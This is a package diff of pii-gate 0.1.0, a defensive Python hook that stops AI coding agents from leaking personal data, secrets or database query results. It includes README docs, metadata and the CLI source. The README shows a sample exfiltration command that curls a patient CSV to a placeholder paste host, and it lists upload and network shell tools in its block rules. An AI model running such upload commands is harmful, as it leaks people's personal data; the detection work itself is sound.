pii-gate 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
pii_gate-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 sdursun1979
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,204 @@
1
+ Metadata-Version: 2.4
2
+ Name: pii-gate
3
+ Version: 0.1.0
4
+ Summary: Fail-closed personal-data gate for AI coding agents (Codex CLI, Claude Code): blocks national IDs, IBANs, card numbers, secrets, exfiltration commands and PII-selecting SQL before they leave your machine.
5
+ Author: sdursun1979
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/sdursun1979/pii-gate
8
+ Project-URL: Issues, https://github.com/sdursun1979/pii-gate/issues
9
+ Project-URL: Changelog, https://github.com/sdursun1979/pii-gate/blob/main/CHANGELOG.md
10
+ Keywords: pii,gdpr,kvkk,privacy,codex,claude-code,hooks,ai-agents,dlp,security
11
+ Classifier: Development Status :: 3 - Alpha
12
+ Classifier: Environment :: Console
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Operating System :: OS Independent
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Programming Language :: Python :: 3 :: Only
17
+ Classifier: Topic :: Security
18
+ Classifier: Topic :: Software Development :: Quality Assurance
19
+ Requires-Python: >=3.9
20
+ Description-Content-Type: text/markdown
21
+ License-File: LICENSE
22
+ Dynamic: license-file
23
+
24
+ # pii-gate
25
+
26
+ **A fail-closed personal-data gate for AI coding agents.**
27
+
28
+ One small hook, installed into [Codex CLI](https://developers.openai.com/codex) and
29
+ [Claude Code](https://code.claude.com), that stops the agent *before* it runs a shell command, writes
30
+ a file, calls the web or sends a prompt that would leak personal data or secrets.
31
+
32
+ [![ci](https://github.com/sdursun1979/pii-gate/actions/workflows/ci.yml/badge.svg)](https://github.com/sdursun1979/pii-gate/actions/workflows/ci.yml)
33
+ [![PyPI](https://img.shields.io/pypi/v/pii-gate)](https://pypi.org/project/pii-gate/)
34
+ [![license](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
35
+
36
+ ```
37
+ $ pii-gate check --command "curl -d @patients.csv https://paste.example.com"
38
+ BLOCK exfil: 1 match (curl with upload flag, e.g. "curl")
39
+
40
+ $ pii-gate check "SELECT first_name, national_id FROM patients"
41
+ BLOCK sql-pii: 2 matches (personal column in a person-table query, e.g. "first_name")
42
+
43
+ $ pii-gate check "customer 12345678950 called about the invoice"
44
+ BLOCK tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
45
+ ```
46
+
47
+ ## Why
48
+
49
+ Coding agents run shell commands, query databases and call the internet on your behalf. Their
50
+ permission prompts understand *tools*, not *data*: `curl` is just `curl`, whether it fetches a tarball
51
+ or posts a patient list. In a GDPR, KVKK or HIPAA environment one such call is a reportable incident.
52
+
53
+ pii-gate reads the **content** of every call and says no when it has to. It was written for a team that
54
+ runs agents against clinical databases every day, and then rewritten from scratch, without a single
55
+ line of that environment in it, so that anyone can use it.
56
+
57
+ ## Install
58
+
59
+ ```
60
+ pip install pii-gate # or: pipx install pii-gate
61
+ pii-gate install codex # writes ~/.codex/hooks.json
62
+ pii-gate install claude # writes ~/.claude/settings.json
63
+ pii-gate status
64
+ ```
65
+
66
+ Codex only runs hooks you have trusted: start `codex`, type `/hooks`, review and trust the new entry.
67
+ Add `--project` to install into `./.codex` or `./.claude` of one repository instead of your home.
68
+
69
+ Requirements: Python 3.9 or newer. No dependencies.
70
+
71
+ ## What it blocks
72
+
73
+ | rule | default | what |
74
+ |-------------------|---------|----------------------------------------------------------------------------------------|
75
+ | `tckn` | block | Turkish national ID numbers (11 digits, both check digits verified) |
76
+ | `iban` | block | IBANs (mod-97 checksum, per-country length) |
77
+ | `card` | block | payment card numbers (Luhn, 13 to 19 digits, plausible prefix) |
78
+ | `secret` | block | private keys, AWS, OpenAI/Anthropic, GitHub, Slack, Google tokens, JWTs |
79
+ | `exfil` | block | uploads: `curl -d/-F/-T`, `wget --post-file`, `scp`, `rsync`, `aws s3 cp`, pipes into `nc`/`ssh`, `requests.post(...)`, and any outbound call whose command line already contains personal data |
80
+ | `git-push` | block | the agent never publishes; you push |
81
+ | `tamper` | block | writes to `.pii-gate.json`, the agents' hook settings, `--no-verify`, `PII_GATE_*=` overrides |
82
+ | `sql-pii` | block | SELECT lists with sensitive columns (national IDs, birth dates, card numbers, health, salary), or names and contact details when the query touches a person table |
83
+ | `sql-star` | block | `SELECT *` on a person table |
84
+ | `email` | warn | e-mail addresses (reserved domains such as `example.com` are ignored) |
85
+ | `phone` | warn | Turkish mobile and international phone numbers |
86
+ | `secret-assign` | warn | `password = "..."` style assignments with a literal value |
87
+ | `sql-pii-context` | warn | names and contact columns outside a person table (a supplier's phone is not personal data) |
88
+
89
+ `warn` findings are allowed and written to the decision log; `block` findings stop the call. Change any
90
+ rule's level in the config, including turning the SQL gate off if your project is not a data project.
91
+
92
+ What the agent sees when it is stopped:
93
+
94
+ ```
95
+ pii-gate blocked this Bash call.
96
+ - tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
97
+ - exfil: 1 match (curl with outbound call carrying sensitive data, e.g. "curl")
98
+ Personal data, secrets and outbound transfers must not leave this machine. Remove them.
99
+ If this is synthetic test data, the user can allow it in .pii-gate.json (allow_values, allow_paths);
100
+ the agent may not edit that file.
101
+ ```
102
+
103
+ The value itself is never in the message, never in the log.
104
+
105
+ ## Where it looks
106
+
107
+ | event | Codex CLI | Claude Code |
108
+ |------------------------------|---------------------------------------------|----------------------------------------------------------|
109
+ | shell command | `Bash` (all rules) | `Bash`, `PowerShell` (all rules) |
110
+ | file write | `apply_patch`: added lines only | `Edit`, `MultiEdit`, `Write`, `NotebookEdit`: new text only |
111
+ | web | hosted tools cannot be hooked by Codex | `WebFetch`, `WebSearch` |
112
+ | MCP tools | every string argument | every string argument |
113
+ | your prompt | `UserPromptSubmit` | `UserPromptSubmit` |
114
+
115
+ File writes honour `allow_paths`, so your synthetic test fixtures keep working.
116
+
117
+ ## Configuration
118
+
119
+ Optional. Looked up in this order: `$PII_GATE_CONFIG`, `./.pii-gate.json` (the agent's working
120
+ directory), `~/.pii-gate.json`. The first file found wins.
121
+
122
+ ```json
123
+ {
124
+ "rules": { "email": "block", "git-push": "off", "sql-pii": "warn" },
125
+ "allow_values": ["12345678950"],
126
+ "allow_paths": ["tests/*", "fixtures/*"],
127
+ "email_allow_domains": ["mycompany.example"],
128
+ "sql": {
129
+ "extra_pii_columns": ["protocol_no", "insurance_no"],
130
+ "extra_person_tables": ["donor", "guardian"],
131
+ "ignore_columns": ["name"]
132
+ },
133
+ "scan_prompts": true,
134
+ "fail_open": false,
135
+ "log": true
136
+ }
137
+ ```
138
+
139
+ The agent cannot edit this file: every attempt is itself a `tamper` block.
140
+
141
+ ## Command line
142
+
143
+ ```
144
+ pii-gate check "text" # what would happen to this text (exit 1 if blocked)
145
+ pii-gate check --command "cmd" # same, with the shell rules (exfil, git-push, tamper)
146
+ pii-gate scan [paths] # scan files; exit 1 on blocking findings
147
+ pii-gate scan --staged # lines added in the git index, for a pre-commit hook
148
+ pii-gate install|uninstall codex|claude|all [--project]
149
+ pii-gate status
150
+ ```
151
+
152
+ Pre-commit, in `.git/hooks/pre-commit`:
153
+
154
+ ```sh
155
+ #!/bin/sh
156
+ exec pii-gate scan --staged
157
+ ```
158
+
159
+ ## Design principles
160
+
161
+ - **Fail closed.** Bad input, a crash in a detector, an unreadable config: the call is blocked, with a
162
+ message that says why. A gate that fails open is not a gate. Set `fail_open` if you disagree.
163
+ - **Values never leave the process.** Findings carry the rule name and the first character. The deny
164
+ message and the decision log (`~/.pii-gate/decisions.log`) contain counts, never data.
165
+ - **One engine, two agents.** Codex and Claude speak the same hook protocol (JSON in, exit code 2 to
166
+ block, stderr as the reason). Everything is tested against both payload shapes.
167
+ - **The agent cannot disable its own gate.** Config files, hook settings and bypass flags are protected
168
+ by the `tamper` rule.
169
+ - **Two-tier SQL.** National IDs are sensitive everywhere. A phone column is sensitive in `patients`,
170
+ not in `suppliers`. Aggregations that reveal nothing (`COUNT`, `LEN`, `IS NULL`, first letter, year)
171
+ pass.
172
+ - **Zero dependencies, pure Python.** Nothing to audit but this repository. The hook starts in tens of
173
+ milliseconds.
174
+
175
+ ## Limitations
176
+
177
+ - Detectors are pattern based. Checksums keep false positives low for IDs, IBANs and cards; phone and
178
+ e-mail detection is heuristic and therefore `warn` by default.
179
+ - Only what the agent *sends* is inspected. What the agent *reads* (a file full of records) is not
180
+ redacted; that is on the roadmap via `PostToolUse`.
181
+ - Codex does not expose its hosted web tools to hooks, so web calls are gated in Claude Code only.
182
+ - Only Turkish national IDs are validated with checksums so far. Other countries' identifiers are
183
+ welcome as contributions, with synthetic test values.
184
+ - This is a guard rail, not a data-loss-prevention product. Use it together with least-privilege
185
+ database accounts and the agents' own permission settings.
186
+
187
+ ## Roadmap
188
+
189
+ - `PostToolUse` redaction of tool output (file reads, query results).
190
+ - National identifiers of more countries, each with its checksum.
191
+ - A `--report` mode that summarises the decision log.
192
+ - Gemini CLI support once its hook protocol settles.
193
+
194
+ ## Contributing
195
+
196
+ Issues and pull requests are welcome. Every detector change needs a test with **synthetic** values
197
+ (see `tests/_synthetic.py`, which generates valid check digits from arbitrary digits). Never commit
198
+ real personal data, not even "just one example". `pii-gate scan .` runs in CI on this repository too.
199
+
200
+ ## License
201
+
202
+ MIT. See [LICENSE](LICENSE).
203
+
204
+ Türkçe özet için [README.tr.md](README.tr.md).
@@ -0,0 +1,181 @@
1
+ # pii-gate
2
+
3
+ **A fail-closed personal-data gate for AI coding agents.**
4
+
5
+ One small hook, installed into [Codex CLI](https://developers.openai.com/codex) and
6
+ [Claude Code](https://code.claude.com), that stops the agent *before* it runs a shell command, writes
7
+ a file, calls the web or sends a prompt that would leak personal data or secrets.
8
+
9
+ [![ci](https://github.com/sdursun1979/pii-gate/actions/workflows/ci.yml/badge.svg)](https://github.com/sdursun1979/pii-gate/actions/workflows/ci.yml)
10
+ [![PyPI](https://img.shields.io/pypi/v/pii-gate)](https://pypi.org/project/pii-gate/)
11
+ [![license](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
12
+
13
+ ```
14
+ $ pii-gate check --command "curl -d @patients.csv https://paste.example.com"
15
+ BLOCK exfil: 1 match (curl with upload flag, e.g. "curl")
16
+
17
+ $ pii-gate check "SELECT first_name, national_id FROM patients"
18
+ BLOCK sql-pii: 2 matches (personal column in a person-table query, e.g. "first_name")
19
+
20
+ $ pii-gate check "customer 12345678950 called about the invoice"
21
+ BLOCK tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
22
+ ```
23
+
24
+ ## Why
25
+
26
+ Coding agents run shell commands, query databases and call the internet on your behalf. Their
27
+ permission prompts understand *tools*, not *data*: `curl` is just `curl`, whether it fetches a tarball
28
+ or posts a patient list. In a GDPR, KVKK or HIPAA environment one such call is a reportable incident.
29
+
30
+ pii-gate reads the **content** of every call and says no when it has to. It was written for a team that
31
+ runs agents against clinical databases every day, and then rewritten from scratch, without a single
32
+ line of that environment in it, so that anyone can use it.
33
+
34
+ ## Install
35
+
36
+ ```
37
+ pip install pii-gate # or: pipx install pii-gate
38
+ pii-gate install codex # writes ~/.codex/hooks.json
39
+ pii-gate install claude # writes ~/.claude/settings.json
40
+ pii-gate status
41
+ ```
42
+
43
+ Codex only runs hooks you have trusted: start `codex`, type `/hooks`, review and trust the new entry.
44
+ Add `--project` to install into `./.codex` or `./.claude` of one repository instead of your home.
45
+
46
+ Requirements: Python 3.9 or newer. No dependencies.
47
+
48
+ ## What it blocks
49
+
50
+ | rule | default | what |
51
+ |-------------------|---------|----------------------------------------------------------------------------------------|
52
+ | `tckn` | block | Turkish national ID numbers (11 digits, both check digits verified) |
53
+ | `iban` | block | IBANs (mod-97 checksum, per-country length) |
54
+ | `card` | block | payment card numbers (Luhn, 13 to 19 digits, plausible prefix) |
55
+ | `secret` | block | private keys, AWS, OpenAI/Anthropic, GitHub, Slack, Google tokens, JWTs |
56
+ | `exfil` | block | uploads: `curl -d/-F/-T`, `wget --post-file`, `scp`, `rsync`, `aws s3 cp`, pipes into `nc`/`ssh`, `requests.post(...)`, and any outbound call whose command line already contains personal data |
57
+ | `git-push` | block | the agent never publishes; you push |
58
+ | `tamper` | block | writes to `.pii-gate.json`, the agents' hook settings, `--no-verify`, `PII_GATE_*=` overrides |
59
+ | `sql-pii` | block | SELECT lists with sensitive columns (national IDs, birth dates, card numbers, health, salary), or names and contact details when the query touches a person table |
60
+ | `sql-star` | block | `SELECT *` on a person table |
61
+ | `email` | warn | e-mail addresses (reserved domains such as `example.com` are ignored) |
62
+ | `phone` | warn | Turkish mobile and international phone numbers |
63
+ | `secret-assign` | warn | `password = "..."` style assignments with a literal value |
64
+ | `sql-pii-context` | warn | names and contact columns outside a person table (a supplier's phone is not personal data) |
65
+
66
+ `warn` findings are allowed and written to the decision log; `block` findings stop the call. Change any
67
+ rule's level in the config, including turning the SQL gate off if your project is not a data project.
68
+
69
+ What the agent sees when it is stopped:
70
+
71
+ ```
72
+ pii-gate blocked this Bash call.
73
+ - tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
74
+ - exfil: 1 match (curl with outbound call carrying sensitive data, e.g. "curl")
75
+ Personal data, secrets and outbound transfers must not leave this machine. Remove them.
76
+ If this is synthetic test data, the user can allow it in .pii-gate.json (allow_values, allow_paths);
77
+ the agent may not edit that file.
78
+ ```
79
+
80
+ The value itself is never in the message, never in the log.
81
+
82
+ ## Where it looks
83
+
84
+ | event | Codex CLI | Claude Code |
85
+ |------------------------------|---------------------------------------------|----------------------------------------------------------|
86
+ | shell command | `Bash` (all rules) | `Bash`, `PowerShell` (all rules) |
87
+ | file write | `apply_patch`: added lines only | `Edit`, `MultiEdit`, `Write`, `NotebookEdit`: new text only |
88
+ | web | hosted tools cannot be hooked by Codex | `WebFetch`, `WebSearch` |
89
+ | MCP tools | every string argument | every string argument |
90
+ | your prompt | `UserPromptSubmit` | `UserPromptSubmit` |
91
+
92
+ File writes honour `allow_paths`, so your synthetic test fixtures keep working.
93
+
94
+ ## Configuration
95
+
96
+ Optional. Looked up in this order: `$PII_GATE_CONFIG`, `./.pii-gate.json` (the agent's working
97
+ directory), `~/.pii-gate.json`. The first file found wins.
98
+
99
+ ```json
100
+ {
101
+ "rules": { "email": "block", "git-push": "off", "sql-pii": "warn" },
102
+ "allow_values": ["12345678950"],
103
+ "allow_paths": ["tests/*", "fixtures/*"],
104
+ "email_allow_domains": ["mycompany.example"],
105
+ "sql": {
106
+ "extra_pii_columns": ["protocol_no", "insurance_no"],
107
+ "extra_person_tables": ["donor", "guardian"],
108
+ "ignore_columns": ["name"]
109
+ },
110
+ "scan_prompts": true,
111
+ "fail_open": false,
112
+ "log": true
113
+ }
114
+ ```
115
+
116
+ The agent cannot edit this file: every attempt is itself a `tamper` block.
117
+
118
+ ## Command line
119
+
120
+ ```
121
+ pii-gate check "text" # what would happen to this text (exit 1 if blocked)
122
+ pii-gate check --command "cmd" # same, with the shell rules (exfil, git-push, tamper)
123
+ pii-gate scan [paths] # scan files; exit 1 on blocking findings
124
+ pii-gate scan --staged # lines added in the git index, for a pre-commit hook
125
+ pii-gate install|uninstall codex|claude|all [--project]
126
+ pii-gate status
127
+ ```
128
+
129
+ Pre-commit, in `.git/hooks/pre-commit`:
130
+
131
+ ```sh
132
+ #!/bin/sh
133
+ exec pii-gate scan --staged
134
+ ```
135
+
136
+ ## Design principles
137
+
138
+ - **Fail closed.** Bad input, a crash in a detector, an unreadable config: the call is blocked, with a
139
+ message that says why. A gate that fails open is not a gate. Set `fail_open` if you disagree.
140
+ - **Values never leave the process.** Findings carry the rule name and the first character. The deny
141
+ message and the decision log (`~/.pii-gate/decisions.log`) contain counts, never data.
142
+ - **One engine, two agents.** Codex and Claude speak the same hook protocol (JSON in, exit code 2 to
143
+ block, stderr as the reason). Everything is tested against both payload shapes.
144
+ - **The agent cannot disable its own gate.** Config files, hook settings and bypass flags are protected
145
+ by the `tamper` rule.
146
+ - **Two-tier SQL.** National IDs are sensitive everywhere. A phone column is sensitive in `patients`,
147
+ not in `suppliers`. Aggregations that reveal nothing (`COUNT`, `LEN`, `IS NULL`, first letter, year)
148
+ pass.
149
+ - **Zero dependencies, pure Python.** Nothing to audit but this repository. The hook starts in tens of
150
+ milliseconds.
151
+
152
+ ## Limitations
153
+
154
+ - Detectors are pattern based. Checksums keep false positives low for IDs, IBANs and cards; phone and
155
+ e-mail detection is heuristic and therefore `warn` by default.
156
+ - Only what the agent *sends* is inspected. What the agent *reads* (a file full of records) is not
157
+ redacted; that is on the roadmap via `PostToolUse`.
158
+ - Codex does not expose its hosted web tools to hooks, so web calls are gated in Claude Code only.
159
+ - Only Turkish national IDs are validated with checksums so far. Other countries' identifiers are
160
+ welcome as contributions, with synthetic test values.
161
+ - This is a guard rail, not a data-loss-prevention product. Use it together with least-privilege
162
+ database accounts and the agents' own permission settings.
163
+
164
+ ## Roadmap
165
+
166
+ - `PostToolUse` redaction of tool output (file reads, query results).
167
+ - National identifiers of more countries, each with its checksum.
168
+ - A `--report` mode that summarises the decision log.
169
+ - Gemini CLI support once its hook protocol settles.
170
+
171
+ ## Contributing
172
+
173
+ Issues and pull requests are welcome. Every detector change needs a test with **synthetic** values
174
+ (see `tests/_synthetic.py`, which generates valid check digits from arbitrary digits). Never commit
175
+ real personal data, not even "just one example". `pii-gate scan .` runs in CI on this repository too.
176
+
177
+ ## License
178
+
179
+ MIT. See [LICENSE](LICENSE).
180
+
181
+ Türkçe özet için [README.tr.md](README.tr.md).
@@ -0,0 +1,35 @@
1
+ [build-system]
2
+ requires = ["setuptools>=77"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "pii-gate"
7
+ version = "0.1.0"
8
+ description = "Fail-closed personal-data gate for AI coding agents (Codex CLI, Claude Code): blocks national IDs, IBANs, card numbers, secrets, exfiltration commands and PII-selecting SQL before they leave your machine."
9
+ readme = "README.md"
10
+ requires-python = ">=3.9"
11
+ license = "MIT"
12
+ license-files = ["LICENSE"]
13
+ authors = [{ name = "sdursun1979" }]
14
+ keywords = ["pii", "gdpr", "kvkk", "privacy", "codex", "claude-code", "hooks", "ai-agents", "dlp", "security"]
15
+ classifiers = [
16
+ "Development Status :: 3 - Alpha",
17
+ "Environment :: Console",
18
+ "Intended Audience :: Developers",
19
+ "Operating System :: OS Independent",
20
+ "Programming Language :: Python :: 3",
21
+ "Programming Language :: Python :: 3 :: Only",
22
+ "Topic :: Security",
23
+ "Topic :: Software Development :: Quality Assurance",
24
+ ]
25
+
26
+ [project.urls]
27
+ Homepage = "https://github.com/sdursun1979/pii-gate"
28
+ Issues = "https://github.com/sdursun1979/pii-gate/issues"
29
+ Changelog = "https://github.com/sdursun1979/pii-gate/blob/main/CHANGELOG.md"
30
+
31
+ [project.scripts]
32
+ pii-gate = "pii_gate.cli:main"
33
+
34
+ [tool.setuptools.packages.find]
35
+ where = ["src"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,3 @@
1
+ """pii-gate: a fail-closed personal-data gate for AI coding agents."""
2
+
3
+ __version__ = "0.1.0"
@@ -0,0 +1,3 @@
1
+ from .cli import main
2
+
3
+ raise SystemExit(main())
@@ -0,0 +1,171 @@
1
+ """Command line: hook, check, scan, install, uninstall, status."""
2
+ from __future__ import annotations
3
+
4
+ import argparse
5
+ import os
6
+ import subprocess
7
+ import sys
8
+ from pathlib import Path
9
+ from typing import Iterable, List, Optional
10
+
11
+ from . import __version__, hook, installer
12
+ from .config import ConfigError, load
13
+ from .engine import Engine, describe
14
+
15
+ SKIP_DIRS = {".git", ".hg", ".svn", "node_modules", "__pycache__", ".venv", "venv", ".tox", ".mypy_cache"}
16
+ MAX_BYTES = 5 * 1024 * 1024
17
+
18
+
19
+ def _print(text: str = "") -> None:
20
+ sys.stdout.write(text + "\n")
21
+
22
+
23
+ def _is_text(data: bytes) -> bool:
24
+ return b"\x00" not in data[:8192]
25
+
26
+
27
+ def _iter_files(roots: Iterable[str]) -> Iterable[Path]:
28
+ for root in roots:
29
+ p = Path(root)
30
+ if p.is_file():
31
+ yield p
32
+ continue
33
+ for dirpath, dirnames, filenames in os.walk(p):
34
+ dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS and not d.endswith(".egg-info")]
35
+ for name in filenames:
36
+ yield Path(dirpath) / name
37
+
38
+
39
+ def cmd_check(args) -> int:
40
+ cfg = load(cwd=os.getcwd())
41
+ engine = Engine(cfg)
42
+ text = sys.stdin.read() if args.stdin else " ".join(args.text)
43
+ rep = engine.scan_command(text) if args.command else engine.scan_text(text)
44
+ for line in describe(rep.blocking):
45
+ _print("BLOCK " + line)
46
+ for line in describe(rep.warnings):
47
+ _print("warn " + line)
48
+ if not rep.blocking and not rep.warnings:
49
+ _print("clean")
50
+ return 1 if rep.blocked else 0
51
+
52
+
53
+ def _scan_text_lines(engine: Engine, label: str, text: str) -> int:
54
+ blocked = 0
55
+ for n, line in enumerate(text.splitlines(), 1):
56
+ rep = engine.scan_text(line)
57
+ for f in rep.blocking:
58
+ _print(f'{label}:{n}: BLOCK {f.rule} ({f.note}, "{f.sample}")')
59
+ blocked += 1
60
+ for f in rep.warnings:
61
+ _print(f'{label}:{n}: warn {f.rule} ({f.note}, "{f.sample}")')
62
+ return blocked
63
+
64
+
65
+ def cmd_scan(args) -> int:
66
+ cwd = os.getcwd()
67
+ cfg = load(cwd=cwd)
68
+ engine = Engine(cfg)
69
+ blocked = 0
70
+ if args.staged:
71
+ diff = subprocess.run(["git", "diff", "--cached", "-U0", "--no-color"], capture_output=True,
72
+ text=True, encoding="utf-8", errors="replace", check=False)
73
+ if diff.returncode != 0:
74
+ sys.stderr.write(diff.stderr)
75
+ return 2
76
+ current = ""
77
+ for line in diff.stdout.splitlines():
78
+ if line.startswith("+++ "):
79
+ current = line[4:]
80
+ current = current[2:] if current.startswith("b/") else current
81
+ elif line.startswith("+") and not line.startswith("+++"):
82
+ if engine.path_allowed(current, cwd):
83
+ continue
84
+ blocked += _scan_text_lines(engine, current, line[1:])
85
+ else:
86
+ for path in _iter_files(args.paths or ["."]):
87
+ rel = str(path)
88
+ if engine.path_allowed(rel, cwd) or engine.path_allowed(str(path.resolve()), cwd):
89
+ continue
90
+ try:
91
+ if path.stat().st_size > MAX_BYTES:
92
+ continue
93
+ data = path.read_bytes()
94
+ except OSError:
95
+ continue
96
+ if not _is_text(data):
97
+ continue
98
+ blocked += _scan_text_lines(engine, rel, data.decode("utf-8", errors="replace"))
99
+ _print(f"{'BLOCKED' if blocked else 'clean'}: {blocked} blocking finding(s)")
100
+ return 1 if blocked else 0
101
+
102
+
103
+ def cmd_install(args) -> int:
104
+ agents = ["codex", "claude"] if args.agent == "all" else [args.agent]
105
+ for agent in agents:
106
+ path = installer.install(agent, project=args.project)
107
+ _print(f"{agent}: hook written to {path}")
108
+ if agent == "codex":
109
+ _print(" run `codex`, then `/hooks` to review and trust the new hook (Codex skips untrusted hooks)")
110
+ return 0
111
+
112
+
113
+ def cmd_uninstall(args) -> int:
114
+ agents = ["codex", "claude"] if args.agent == "all" else [args.agent]
115
+ for agent in agents:
116
+ path = installer.uninstall(agent, project=args.project)
117
+ _print(f"{agent}: pii-gate entries removed from {path}")
118
+ return 0
119
+
120
+
121
+ def cmd_status(args) -> int:
122
+ try:
123
+ cfg = load(cwd=os.getcwd())
124
+ _print(f"config: {cfg.source}")
125
+ _print("rules : " + ", ".join(f"{r}={cfg.level(r)}" for r in sorted(cfg.levels)))
126
+ except ConfigError as exc:
127
+ _print(f"config: ERROR {exc}")
128
+ for line in installer.status():
129
+ _print(line)
130
+ return 0
131
+
132
+
133
+ def build_parser() -> argparse.ArgumentParser:
134
+ p = argparse.ArgumentParser(prog="pii-gate", description="Fail-closed personal-data gate for AI coding agents.")
135
+ p.add_argument("--version", action="version", version=f"pii-gate {__version__}")
136
+ sub = p.add_subparsers(dest="cmd")
137
+ sub.required = True
138
+
139
+ h = sub.add_parser("hook", help="run as a Codex CLI / Claude Code hook (reads JSON on stdin)")
140
+ h.add_argument("--fail-open", action="store_true", help="allow on internal errors (default: block)")
141
+ h.set_defaults(func=lambda a: hook.main(fail_open=True if a.fail_open else None))
142
+
143
+ c = sub.add_parser("check", help="check a piece of text; exit 1 if it would be blocked")
144
+ c.add_argument("text", nargs="*")
145
+ c.add_argument("--stdin", action="store_true", help="read the text from stdin")
146
+ c.add_argument("--command", action="store_true", help="treat the text as a shell command (exfil/tamper rules too)")
147
+ c.set_defaults(func=cmd_check)
148
+
149
+ s = sub.add_parser("scan", help="scan files (or --staged git changes); exit 1 on blocking findings")
150
+ s.add_argument("paths", nargs="*")
151
+ s.add_argument("--staged", action="store_true", help="scan lines added in the git index (pre-commit)")
152
+ s.set_defaults(func=cmd_scan)
153
+
154
+ for name, fn in (("install", cmd_install), ("uninstall", cmd_uninstall)):
155
+ i = sub.add_parser(name, help=f"{name} the hook for codex, claude or all")
156
+ i.add_argument("agent", choices=["codex", "claude", "all"])
157
+ i.add_argument("--project", action="store_true", help="write into ./.codex or ./.claude instead of your home")
158
+ i.set_defaults(func=fn)
159
+
160
+ st = sub.add_parser("status", help="show active config and where the hook is installed")
161
+ st.set_defaults(func=cmd_status)
162
+ return p
163
+
164
+
165
+ def main(argv: Optional[List[str]] = None) -> int:
166
+ args = build_parser().parse_args(argv)
167
+ try:
168
+ return int(args.func(args) or 0)
169
+ except ConfigError as exc:
170
+ sys.stderr.write(f"pii-gate config error: {exc}\n")
171
+ return 2